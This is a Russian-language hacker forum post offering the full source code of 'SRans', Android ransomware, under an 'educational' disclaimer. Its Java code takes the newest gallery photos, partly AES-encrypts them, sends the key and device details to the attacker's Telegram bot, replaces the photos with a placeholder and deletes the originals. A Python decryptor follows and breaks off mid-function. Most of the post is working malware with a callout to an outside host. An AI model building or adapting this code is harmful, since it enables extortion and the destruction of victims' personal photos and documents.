What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

SRans - Android Ransomware AES-256 - Статья - Source Code / Exclusive

NMZ

Light Weight
Депозит
$0
Android Ransomware - SRans

:smile10:Всем привет! Недавно узнал, что Ransomware хоть и запрещен на форуме, но только в коммерческих целях. А на других форумах, таких как Exploit, это не разрешено даже в образовательных целях. Поэтому эта статья эксклюзивно для .is ! ! !

Хочу подчеркнуть, что этот продукт я не продаю, никакой коммерции с его участием не веду и сам такую деятельность с применением Ransomware осуждаю и не продвигаю.

Теперь, когда с необходимым предисловием покончено, можно начать саму статью.

Статья будет немаленькой, но интересной.

Что есть ценного на вашем телефоне?

Для начала нам нужно определить цели: что мы будем зашифровывать, какие ценные материалы есть на телефоне? В основном, это фото и видео, которые дороги людям.

У людей в галерее могут быть фотографии их семьи, seed-фразы :), документы, видео со свадьбы — что угодно, и это для людей ценно.

Теперь, когда мы определились с целью, мы должны расписать принцип работы:

  1. Получение фотографий для шифрования:
    • Приложение получает доступ к последним изображениям из галереи устройства. Для этого оно проверяет разрешения на доступ к хранилищу и, при необходимости, запрашивает их у пользователя.
  2. Шифрование и сохранение шифрованных байтов с использованием Base64:
    • Для каждого изображения приложение генерирует AES-ключ (256 бит) и шифрует часть содержимого изображения (определяемую процентом шифрования). Шифрованные данные заменяются в исходном изображении, и затем весь массив байтов изображения кодируется в строку Base64 и сохраняется в отдельный файл на устройстве.
  3. Замена изображений на заглушку и уведомление в Telegram:
    • После шифрования приложение заменяет оригинальные изображения на изображения-заглушки (например, картинку с объяснением или насмешкой). Зашифрованный AES-ключ отправляется в Telegram, чтобы его можно было использовать для расшифровки.
    • После успешной замены отображается уведомление, что изображения были обработаны.
Спойлер: Этапы реализации
Этапы реализации:

  1. Проверка разрешений:
    • Программа проверяет, имеет ли она доступ к чтению и записи на внешнем хранилище и разрешение на интернет. Для Android 11 и выше требуется специальное разрешение MANAGE_EXTERNAL_STORAGE.
  2. Получение последних N изображений:
    • С помощью ContentResolver программа запрашивает последние изображения на устройстве, сортируя их по дате добавления. Полученные изображения добавляются в список для дальнейшей обработки.
  3. Шифрование изображений:
    • Для каждого изображения программа конвертирует его в массив байтов. Затем часть байтов шифруется с использованием AES-алгоритма. Зашифрованные данные заменяют исходные байты, и результат кодируется в Base64 и сохраняется в отдельный файл.
  4. Отправка AES-ключа в Telegram:
    • Сгенерированный AES-ключ отправляется через бота Telegram в указанный чат, чтобы его можно было использовать для расшифровки изображений при необходимости.
  5. Замена изображений на заглушки:
    • Программа заменяет последние N изображений на изображение-заглушку из ресурсов приложения, создавая иллюзию потери данных.
  6. Удаление оригиналов:
    • Программа удаляет исходные версии изображений, оставляя только зашифрованные версии и заглушки.
Теперь перейдем к самому коду нашего Ransomware и немного затронем тему того, как можно защитить наш проект под конец.

Первое, что нам нужно, это определить разрешения на доступ к данным в файле AndroidManifest.xml:

XML: Скопировать в буфер обмена
Code:
 <uses-permission android:name="android.permission.INTERNET" />


 <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> 
 <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />


 <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" 

  tools:ignore="ScopedStorage" />

Полный код AndroidManifest.xml:

XML: Скопировать в буфер обмена
Code:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
 xmlns:tools="http://schemas.android.com/tools">

 <uses-permission android:name="android.permission.INTERNET" />


 <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
 <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />


 <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"

  tools:ignore="ScopedStorage" />


 <application
  android:allowBackup="true"
  android:icon="@mipmap/ic_launcher"
  android:label="@string/app_name"
  android:roundIcon="@mipmap/ic_launcher_round"
  android:supportsRtl="true"
  android:theme="@style/Theme.SRansNMZ">
  <activity
   android:name=".MainActivity"
   android:exported="true">
   <intent-filter>
    <action android:name="android.intent.action.MAIN" />

    <category android:name="android.intent.category.LAUNCHER" />
   </intent-filter>
  </activity>
 </application>

</manifest>

Теперь перейдем в файл build.gradle где нам нужно импортировать okhttp:
вставляем в dependencies наш implementation - implementation("com.squareup.okhttp3:okhttp:4.12.0")

Теперь можно перейти к основному коду MainActivity.java:

Java: Скопировать в буфер обмена
Code:
public class MainActivity extends AppCompatActivity {

 private static final int PERMISSION_REQUEST_CODE = 100;
 private static final int MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE = 101;
 private static final String TELEGRAM_BOT_TOKEN = "token"; //ваш токен бота
 private static final String TELEGRAM_CHAT_ID = "user id"; //ваш id в тг
 private static final String AES_ALGORITHM = "AES/ECB/NoPadding";
 private static final int AES_KEY_SIZE = 256; //размер ключика
 private static final int IMAGE_COUNT = 20; //колво фото
 private static final double ENCRYPTION_PERCENTAGE = 10.0; // процент шифрования
 private static final int BLOCK_SIZE = 16; // размер блока
 private static final int HEADER_SIZE = 8;

Описал все в межстрочных комментариях.

Перейдем к проверке разрешений:


Java: Скопировать в буфер обмена
Code:
 if (checkPermissions()) {
   replaceLastNImagesWithEncodedText(IMAGE_COUNT);
  } else {
   requestPermissions();
  }
 }
 
 private boolean checkPermissions() {
  if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
   
   return Environment.isExternalStorageManager();
  } else {
   int readStoragePermission = ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE);
   int writeStoragePermission = ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE);
   int internetPermission = ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET);
   return readStoragePermission == PackageManager.PERMISSION_GRANTED &&
     writeStoragePermission == PackageManager.PERMISSION_GRANTED &&
     internetPermission == PackageManager.PERMISSION_GRANTED;
  }
 }

Запрос разрешений:

Java: Скопировать в буфер обмена
Code:
 private void requestPermissions() {
  if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
   
   Toast.makeText(this, "Необходим доступ ко всем файлам", Toast.LENGTH_LONG).show();
   Intent intent = new Intent(Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION,
     Uri.parse("package:" + getPackageName()));
   startActivityForResult(intent, MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE);
  } else {
   
   ActivityCompat.requestPermissions(this, new String[]{
     Manifest.permission.READ_EXTERNAL_STORAGE,
     Manifest.permission.WRITE_EXTERNAL_STORAGE,
     Manifest.permission.INTERNET
   }, PERMISSION_REQUEST_CODE);
  }
 }

 
 @Override
 public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
  super.onRequestPermissionsResult(requestCode, permissions, grantResults);
  if (requestCode == PERMISSION_REQUEST_CODE) {
   if (grantResults.length > 2 &&
     grantResults[0] == PackageManager.PERMISSION_GRANTED &&
     grantResults[1] == PackageManager.PERMISSION_GRANTED &&
     grantResults[2] == PackageManager.PERMISSION_GRANTED) {
    replaceLastNImagesWithEncodedText(IMAGE_COUNT);
   } else {
    Toast.makeText(this, "Требуются разрешения для работы с хранилищем", Toast.LENGTH_LONG).show();
    openAppSettings();
   }
  }

 }


Переходим в настройки:


Java: Скопировать в буфер обмена
Code:
 @Override
 protected void onActivityResult(int requestCode, int resultCode, Intent data) {
  super.onActivityResult(requestCode, resultCode, data);
  if (requestCode == MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE) {
   if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
    if (Environment.isExternalStorageManager()) {
     replaceLastNImagesWithEncodedText(IMAGE_COUNT);
    } else {
     Toast.makeText(this, "Требуется доступ ко всем файлам.", Toast.LENGTH_LONG).show();
     openAppSettings();
    }
   }
  }
 }

 private void openAppSettings() {
  Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
  Uri uri = Uri.fromParts("package", getPackageName(), null);
  intent.setData(uri);
  startActivity(intent);
 }


Перейдем к части кода которая шифрует нужное кол-во изображений сохраняет на устройстве шифрованные данные и заменяет оригиналы на заглушки:

Java: Скопировать в буфер обмена
Code:
 private void replaceLastNImagesWithEncodedText(int count) {
  List<Uri> lastNImageUris = getLastNImageUris(count);

  if (lastNImageUris.size() == count) {
   ExecutorService executor = Executors.newFixedThreadPool(Math.min(count, Runtime.getRuntime().availableProcessors()));
   CountDownLatch latch = new CountDownLatch(count);
   List<Exception> exceptions = new ArrayList<>();

   try {
    //генерация AES
    Key aesKey = generateAESKey();

    for (Uri uri : lastNImageUris) {
     executor.submit(() -> {
      try {
       byte[] imageBytes = getImageAsByteArray(uri);
       if (imageBytes != null) {

        int encryptionSize = (int)(((imageBytes.length - HEADER_SIZE) * ENCRYPTION_PERCENTAGE) / 100.0 / BLOCK_SIZE) * BLOCK_SIZE;
        if (encryptionSize < BLOCK_SIZE) {
         encryptionSize = BLOCK_SIZE;
        }
        if (encryptionSize > (imageBytes.length - HEADER_SIZE)) {
         encryptionSize = ((imageBytes.length - HEADER_SIZE) / BLOCK_SIZE) * BLOCK_SIZE;
         if (encryptionSize < BLOCK_SIZE) {
          encryptionSize = BLOCK_SIZE;
         }
        }

        byte[] bytesToEncrypt = new byte[encryptionSize];
        System.arraycopy(imageBytes, HEADER_SIZE, bytesToEncrypt, 0, encryptionSize);

        //шифрованиебайтов
        byte[] encryptedBytes = encryptBytes(bytesToEncrypt, aesKey);
        if (encryptedBytes != null) {

         System.arraycopy(encryptedBytes, 0, imageBytes, HEADER_SIZE, encryptionSize);

         //кодирование массива байтов в Base64
         String base64Image = Base64.encodeToString(imageBytes, Base64.DEFAULT);

         //сохран
         saveEncryptedImageToFile(base64Image);
        }
       }
      } catch (Exception e) {
       synchronized (exceptions) {
        exceptions.add(e);
       }
      } finally {
       latch.countDown();
      }
     });
    }


    latch.await();

    executor.shutdown();

    if (!exceptions.isEmpty()) {
     for (Exception e : exceptions) {
      e.printStackTrace();
     }
     Toast.makeText(this, "ошибка обработки изо", Toast.LENGTH_LONG).show();
     return;
    }

    //отправка AES ключа в Telegram
    sendKeyToTelegram(aesKey);

    //замена изображений на заглушку
    for (int i = 0; i < count; i++) {
     replaceImageWithDrawable();
    }

    //удаление оригинальных изображений
    deleteLastNImages(lastNImageUris);

    Toast.makeText(this, "успешно", Toast.LENGTH_LONG).show();

   } catch (Exception e) {
    e.printStackTrace();
    Toast.makeText(this, "ошибка: " + e.getMessage(), Toast.LENGTH_LONG).show();
   }
  } else {
   Toast.makeText(this, "не удалось найти " + count + "изображений", Toast.LENGTH_LONG).show();
  }
 }


Получение последних изображений:

Java: Скопировать в буфер обмена
Code:
private List<Uri> getLastNImageUris(int count) {
  List<Uri> imageUris = new ArrayList<>();
  String[] projection = { MediaStore.Images.Media._ID, MediaStore.Images.Media.DATE_ADDED };
  String sortOrder = MediaStore.Images.Media.DATE_ADDED + " DESC";

  try (Cursor cursor = getContentResolver().query(
    MediaStore.Images.Media.EXTERNAL_CONTENT_URI, projection, null, null, sortOrder)) {

   if (cursor != null) {
    int imageIdColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID);
    int currentCount = 0;
    while (cursor.moveToNext() && currentCount < count) {
     long id = cursor.getLong(imageIdColumn);
     Uri imageUri = Uri.withAppendedPath(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, Long.toString(id));
     imageUris.add(imageUri);
     currentCount++;
    }
   }
  } catch (Exception e) {
   e.printStackTrace();
  }
  return imageUris;
 }


Преобразуем данные в массив байтов для дальнейшей работы:

Java: Скопировать в буфер обмена
Code:
private byte[] getImageAsByteArray(Uri imageUri) {
  try {
   Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri));
   if (bitmap == null) {
    throw new IOException("ошибочка");
   }
   ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
   
   bitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream);
   return byteArrayOutputStream.toByteArray();
  } catch (Exception e) {
   e.printStackTrace();
   return null;
  }
 }

Шифруем байты:

Java: Скопировать в буфер обмена
Code:
 private byte[] encryptBytes(byte[] data, Key key) {
  try {
   Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
   cipher.init(Cipher.ENCRYPT_MODE, key);
   return cipher.doFinal(data); // NoPadding
  } catch (Exception e) {
   e.printStackTrace();
   return null;
  }
 }

Генерируем AES ключик:

Java: Скопировать в буфер обмена
Code:
 private Key generateAESKey() throws Exception {
  KeyGenerator keyGen = KeyGenerator.getInstance("AES");
  keyGen.init(AES_KEY_SIZE, new SecureRandom());
  SecretKey secretKey = keyGen.generateKey();
  return secretKey;
 }

Сохраняем шифрованные данные байтов в хранилище:

Java: Скопировать в буфер обмена
Code:
 private void saveEncryptedImageToFile(String base64Image) {
  
  String fileName = generateRandomString(20) + "rans.enc";

  File directory = new File(Environment.getExternalStorageDirectory(), "EncodedImages");
  if (!directory.exists()) {
   if (!directory.mkdirs()) {
    Toast.makeText(this, "ошибочка saveEncryptedImageToFile", Toast.LENGTH_LONG).show();
    return;
   }
  }

  File file = new File(directory, fileName);
  try (FileOutputStream outputStream = new FileOutputStream(file)) {
   outputStream.write(base64Image.getBytes());
  } catch (Exception e) {
   e.printStackTrace();
  }
 }



Отправка ключа AES для дешифровки в Telegram:

Java: Скопировать в буфер обмена
Code:
 private void sendKeyToTelegram(Key aesKey) {
  String aesKeyString = Base64.encodeToString(aesKey.getEncoded(), Base64.DEFAULT);
  String androidVersion = Build.VERSION.RELEASE;
  String deviceModel = Build.MODEL;
  String message =
    "SRans - NMZ - "+ "\n" +
    "AES Key: " + aesKeyString + "\n" +
    "Android Version: " + androidVersion + "\n" +
    "Device Model: " + deviceModel;

  OkHttpClient client = new OkHttpClient();
  String json = "{\"chat_id\":\"" + TELEGRAM_CHAT_ID + "\",\"text\":\"" + message + "\"}";
  RequestBody body = RequestBody.create(
    MediaType.parse("application/json"),
    json
  );

  Request request = new Request.Builder()
    .url("https://api.telegram.org/bot" + TELEGRAM_BOT_TOKEN + "/sendMessage")
    .post(body)
    .build();

  new Thread(() -> {
   try (Response response = client.newCall(request).execute()) {
    if (!response.isSuccessful()) {
     throw new IOException("Unexpected code " + response);
    }
    System.out.println("succes");
   } catch (IOException e) {
    e.printStackTrace();
    runOnUiThread(() -> Toast.makeText(MainActivity.this, "eror send: " + e.getMessage(), Toast.LENGTH_LONG).show());
   }
  }).start();
 }

Вид лога в Telegram:




Замена оригинальных фото на заглушку из drawable:


Java: Скопировать в буфер обмена
Code:
 private void replaceImageWithDrawable() {
  try {
   Bitmap bitmap = BitmapFactory.decodeResource(getResources(), R.drawable.image); //нейм
   String savedImageURL = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "Drawable Image", "Image replaced from drawable");

   if (savedImageURL == null) {
    Toast.makeText(this, "Ошибка при замене изо", Toast.LENGTH_SHORT).show();
   }
  } catch (Exception e) {
   e.printStackTrace();
   Toast.makeText(this, "Не удалось заменить изо: " + e.getMessage(), Toast.LENGTH_SHORT).show();
  }
 }

Удаление оригинальных изображений:


Java: Скопировать в буфер обмена
Code:
 private void deleteLastNImages(List<Uri> imageUris) {
  for (Uri uri : imageUris) {
   try {
    getContentResolver().delete(uri, null, null);
   } catch (Exception e) {
    e.printStackTrace();
   }
  }
 }
}

Пример того как это выглядит в галерее после шифрования:



Замените файл image.png по пути SRansNMZ\app\src\main\res\drawable для того чтобы изменить заглушку.

Полный код MainActivity.java:

Java: Скопировать в буфер обмена
Code:
package .exploit.nmz.SRans;

//импорты
import androidx.appcompat.app.AppCompatActivity;
import androidx.annotation.NonNull;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.provider.MediaStore;
import android.provider.Settings;
import android.util.Base64;
import android.widget.Toast;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.security.Key;
import java.security.SecureRandom;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.Callable;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;

import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;

public class MainActivity extends AppCompatActivity {

 private static final int PERMISSION_REQUEST_CODE = 100;
 private static final int MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE = 101;
 private static final String TELEGRAM_BOT_TOKEN = "token";
 private static final String TELEGRAM_CHAT_ID = "user id";
 private static final String AES_ALGORITHM = "AES/ECB/NoPadding";
 private static final int AES_KEY_SIZE = 256;
 private static final int IMAGE_COUNT = 20; //колво фото
 private static final double ENCRYPTION_PERCENTAGE = 10.0; // процент шифрования
 private static final int BLOCK_SIZE = 16; // размер блока
 private static final int HEADER_SIZE = 8;

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);


  if (checkPermissions()) {
   replaceLastNImagesWithEncodedText(IMAGE_COUNT);
  } else {
   requestPermissions();
  }
 }

 private boolean checkPermissions() {
  if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {

   return Environment.isExternalStorageManager();
  } else {
   int readStoragePermission = ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE);
   int writeStoragePermission = ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE);
   int internetPermission = ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET);
   return readStoragePermission == PackageManager.PERMISSION_GRANTED &&
     writeStoragePermission == PackageManager.PERMISSION_GRANTED &&
     internetPermission == PackageManager.PERMISSION_GRANTED;
  }
 }

 private void requestPermissions() {
  if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {

   Toast.makeText(this, "Необходим доступ ко всем файлам", Toast.LENGTH_LONG).show();
   Intent intent = new Intent(Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION,
     Uri.parse("package:" + getPackageName()));
   startActivityForResult(intent, MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE);
  } else {

   ActivityCompat.requestPermissions(this, new String[]{
     Manifest.permission.READ_EXTERNAL_STORAGE,
     Manifest.permission.WRITE_EXTERNAL_STORAGE,
     Manifest.permission.INTERNET
   }, PERMISSION_REQUEST_CODE);
  }
 }


 @Override
 public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
  super.onRequestPermissionsResult(requestCode, permissions, grantResults);
  if (requestCode == PERMISSION_REQUEST_CODE) {
   if (grantResults.length > 2 &&
     grantResults[0] == PackageManager.PERMISSION_GRANTED &&
     grantResults[1] == PackageManager.PERMISSION_GRANTED &&
     grantResults[2] == PackageManager.PERMISSION_GRANTED) {
    replaceLastNImagesWithEncodedText(IMAGE_COUNT);
   } else {
    Toast.makeText(this, "Требуются разрешения для работы с хранилищем", Toast.LENGTH_LONG).show();
    openAppSettings();
   }
  }
 }


 @Override
 protected void onActivityResult(int requestCode, int resultCode, Intent data) {
  super.onActivityResult(requestCode, resultCode, data);
  if (requestCode == MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE) {
   if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
    if (Environment.isExternalStorageManager()) {
     replaceLastNImagesWithEncodedText(IMAGE_COUNT);
    } else {
     Toast.makeText(this, "Требуется доступ ко всем файлам.", Toast.LENGTH_LONG).show();
     openAppSettings();
    }
   }
  }
 }

 private void openAppSettings() {
  Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
  Uri uri = Uri.fromParts("package", getPackageName(), null);
  intent.setData(uri);
  startActivity(intent);
 }


 private void replaceLastNImagesWithEncodedText(int count) {
  List<Uri> lastNImageUris = getLastNImageUris(count);

  if (lastNImageUris.size() == count) {
   ExecutorService executor = Executors.newFixedThreadPool(Math.min(count, Runtime.getRuntime().availableProcessors()));
   CountDownLatch latch = new CountDownLatch(count);
   List<Exception> exceptions = new ArrayList<>();

   try {
    //генерация AES
    Key aesKey = generateAESKey();

    for (Uri uri : lastNImageUris) {
     executor.submit(() -> {
      try {
       byte[] imageBytes = getImageAsByteArray(uri);
       if (imageBytes != null) {

        int encryptionSize = (int)(((imageBytes.length - HEADER_SIZE) * ENCRYPTION_PERCENTAGE) / 100.0 / BLOCK_SIZE) * BLOCK_SIZE;
        if (encryptionSize < BLOCK_SIZE) {
         encryptionSize = BLOCK_SIZE;
        }
        if (encryptionSize > (imageBytes.length - HEADER_SIZE)) {
         encryptionSize = ((imageBytes.length - HEADER_SIZE) / BLOCK_SIZE) * BLOCK_SIZE;
         if (encryptionSize < BLOCK_SIZE) {
          encryptionSize = BLOCK_SIZE;
         }
        }

        byte[] bytesToEncrypt = new byte[encryptionSize];
        System.arraycopy(imageBytes, HEADER_SIZE, bytesToEncrypt, 0, encryptionSize);

        //шифрованиебайтов
        byte[] encryptedBytes = encryptBytes(bytesToEncrypt, aesKey);
        if (encryptedBytes != null) {

         System.arraycopy(encryptedBytes, 0, imageBytes, HEADER_SIZE, encryptionSize);

         //кодирование массива байтов в Base64
         String base64Image = Base64.encodeToString(imageBytes, Base64.DEFAULT);

         //сохран
         saveEncryptedImageToFile(base64Image);
        }
       }
      } catch (Exception e) {
       synchronized (exceptions) {
        exceptions.add(e);
       }
      } finally {
       latch.countDown();
      }
     });
    }


    latch.await();

    executor.shutdown();

    if (!exceptions.isEmpty()) {
     for (Exception e : exceptions) {
      e.printStackTrace();
     }
     Toast.makeText(this, "ошибка обработки изо", Toast.LENGTH_LONG).show();
     return;
    }

    //отправка AES ключа в Telegram
    sendKeyToTelegram(aesKey);

    //замена изображений на заглушку
    for (int i = 0; i < count; i++) {
     replaceImageWithDrawable();
    }

    //удаление оригинальных изображений
    deleteLastNImages(lastNImageUris);

    Toast.makeText(this, "успешно", Toast.LENGTH_LONG).show();

   } catch (Exception e) {
    e.printStackTrace();
    Toast.makeText(this, "ошибка: " + e.getMessage(), Toast.LENGTH_LONG).show();
   }
  } else {
   Toast.makeText(this, "не удалось найти " + count + "изображений", Toast.LENGTH_LONG).show();
  }
 }


 private List<Uri> getLastNImageUris(int count) {
  List<Uri> imageUris = new ArrayList<>();
  String[] projection = { MediaStore.Images.Media._ID, MediaStore.Images.Media.DATE_ADDED };
  String sortOrder = MediaStore.Images.Media.DATE_ADDED + " DESC";

  try (Cursor cursor = getContentResolver().query(
    MediaStore.Images.Media.EXTERNAL_CONTENT_URI, projection, null, null, sortOrder)) {

   if (cursor != null) {
    int imageIdColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID);
    int currentCount = 0;
    while (cursor.moveToNext() && currentCount < count) {
     long id = cursor.getLong(imageIdColumn);
     Uri imageUri = Uri.withAppendedPath(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, Long.toString(id));
     imageUris.add(imageUri);
     currentCount++;
    }
   }
  } catch (Exception e) {
   e.printStackTrace();
  }
  return imageUris;
 }


 private byte[] getImageAsByteArray(Uri imageUri) {
  try {
   Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri));
   if (bitmap == null) {
    throw new IOException("ошибочка");
   }
   ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

   bitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream);
   return byteArrayOutputStream.toByteArray();
  } catch (Exception e) {
   e.printStackTrace();
   return null;
  }
 }

 private byte[] encryptBytes(byte[] data, Key key) {
  try {
   Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
   cipher.init(Cipher.ENCRYPT_MODE, key);
   return cipher.doFinal(data); // NoPadding
  } catch (Exception e) {
   e.printStackTrace();
   return null;
  }
 }


 private Key generateAESKey() throws Exception {
  KeyGenerator keyGen = KeyGenerator.getInstance("AES");
  keyGen.init(AES_KEY_SIZE, new SecureRandom());
  SecretKey secretKey = keyGen.generateKey();
  return secretKey;
 }


 private void saveEncryptedImageToFile(String base64Image) {

  String fileName = generateRandomString(20) + "rans.enc";

  File directory = new File(Environment.getExternalStorageDirectory(), "EncodedImages");
  if (!directory.exists()) {
   if (!directory.mkdirs()) {
    Toast.makeText(this, "ошибочка saveEncryptedImageToFile", Toast.LENGTH_LONG).show();
    return;
   }
  }

  File file = new File(directory, fileName);
  try (FileOutputStream outputStream = new FileOutputStream(file)) {
   outputStream.write(base64Image.getBytes());
  } catch (Exception e) {
   e.printStackTrace();
  }
 }


 private String generateRandomString(int length) {
  String chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
  SecureRandom random = new SecureRandom();
  StringBuilder sb = new StringBuilder(length);
  for(int i =0; i < length; i++) {
   sb.append(chars.charAt(random.nextInt(chars.length())));
  }
  return sb.toString();
 }


 private void sendKeyToTelegram(Key aesKey) {
  String aesKeyString = Base64.encodeToString(aesKey.getEncoded(), Base64.DEFAULT);
  String androidVersion = Build.VERSION.RELEASE;
  String deviceModel = Build.MODEL;
  String message =
    "SRans - NMZ - "+ "\n" +
    "AES Key: " + aesKeyString + "\n" +
    "Android Version: " + androidVersion + "\n" +
    "Device Model: " + deviceModel;

  OkHttpClient client = new OkHttpClient();
  String json = "{\"chat_id\":\"" + TELEGRAM_CHAT_ID + "\",\"text\":\"" + message + "\"}";
  RequestBody body = RequestBody.create(
    MediaType.parse("application/json"),
    json
  );

  Request request = new Request.Builder()
    .url("https://api.telegram.org/bot" + TELEGRAM_BOT_TOKEN + "/sendMessage")
    .post(body)
    .build();

  new Thread(() -> {
   try (Response response = client.newCall(request).execute()) {
    if (!response.isSuccessful()) {
     throw new IOException("Unexpected code " + response);
    }
    System.out.println("succes");
   } catch (IOException e) {
    e.printStackTrace();
    runOnUiThread(() -> Toast.makeText(MainActivity.this, "eror send: " + e.getMessage(), Toast.LENGTH_LONG).show());
   }
  }).start();
 }


 private void replaceImageWithDrawable() {
  try {
   Bitmap bitmap = BitmapFactory.decodeResource(getResources(), R.drawable.image); //нейм
   String savedImageURL = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "Drawable Image", "Image replaced from drawable");

   if (savedImageURL == null) {
    Toast.makeText(this, "Ошибка при замене изо", Toast.LENGTH_SHORT).show();
   }
  } catch (Exception e) {
   e.printStackTrace();
   Toast.makeText(this, "Не удалось заменить изо: " + e.getMessage(), Toast.LENGTH_SHORT).show();
  }
 }


 private void deleteLastNImages(List<Uri> imageUris) {
  for (Uri uri : imageUris) {
   try {
    getContentResolver().delete(uri, null, null);
   } catch (Exception e) {
    e.printStackTrace();
   }
  }
 }
}

Теперь перейдем к коду на Python для дешифровки:

Java: Скопировать в буфер обмена
Code:
import os
import base64
from Crypto.Cipher import AES

def load_aes_key(key_file_path):
 try:
  with open(key_file_path, 'r') as f:
   key_b64 = f.read().strip()
   key = base64.b64decode(key_b64)
   if len(key) not in (16, 24, 32):
    raise ValueError("Invalid AES key length.")
   print("AES ключ успешно загружен.")
   return key
 except Exception as e:
  print(f"Ошибка загрузки AES ключа: {e}")
  return None

def decrypt_bytes(encrypted_data, key):
 try:
  cipher = AES.new(key, AES.MODE_ECB)
  decrypted_data = cipher.decrypt(encrypted_data)
  return decrypted_data
 except Exception as e:
  print(f"Ошибка дешифровки: {e}")
  return None

def process_encrypted_files(encoded_images_dir, decrypted_images_dir, key):
 if not os.path.exists(encoded_images_dir):
  print(f"Директория {encoded_images_dir} не существует.")
  return
 if not os.path.exists(decrypted_images_dir):
  os.makedirs(decrypted_images_dir)
  print(f"Создана директория {decrypted_images_dir} для сохранения дешифрованных изображений.")

 files_found = False
 for filename in os.listdir(encoded_images_dir):
  if filename.endswith("rans.enc"):
   files_found = True
   file_path = os.path.join(encoded_images_dir, filename)
   try:
    print(f"Обработка файла: {filename}")
    with open(file_path, 'r') as f:
     base64_data = f.read().strip()
    image_data = base64.b64decode(base64_data)

    
    encryption_percentage = 10.0 # как в коде на java
    header_size = 8 
    total_length = len(image_data)
    if total_length <= header_size:
     print(f"Файл {filename} слишком мал для обработки.")
     continue

    encryption_size = int(((total_length - header_size) * encryption_percentage) / 100.0)
    
    encryption_size = (encryption_size // 16) * 16
    if encryption_size < 16:
     encryption_size = 16 # минимум 16 байт

    if encryption_size > (total_length - header_size):
     encryption_size = ((total_length - header_size) // 16) * 16
     if encryption_size < 16:
      encryption_size = 16

    print(f"Размер шифруемой части: {encryption_size} байт")

    
    encrypted_part = image_data[header_size:header_size + encryption_size]
    decrypted_part = decrypt_bytes(encrypted_part, key)

    if decrypted_part is None:
     print(f"Не удалось дешифровать часть файла {filename}.")
     continue

    
    new_image_data = image_data[:header_size] + decrypted_part + image_data[header_size + encryption_size:]

    
    if filename.endswith("rans.txt"):
     output_filename = f"decrypted_{filename[:-8]}.png"
    else:
     output_filename = f"decrypted_{filename}.png"
    output_image_path = os.path.join(decrypted_images_dir, output_filename)
    with open(output_image_path, 'wb') as img_file:
     img_file.write(new_image_data)

    print(f"Файл {filename} успешно дешифрован и сохранён как {output_image_path}.")

   except Exception as e:
    print(f"Ошибка обработки файла {filename}: {e}")

 if not files_found:
  print(f"В директории {encoded_images_dir} нету 'rans.enc'.")

def main():
 key_file = 'aes_key.txt' 
 encoded_images_directory = 'EncodedImages' 
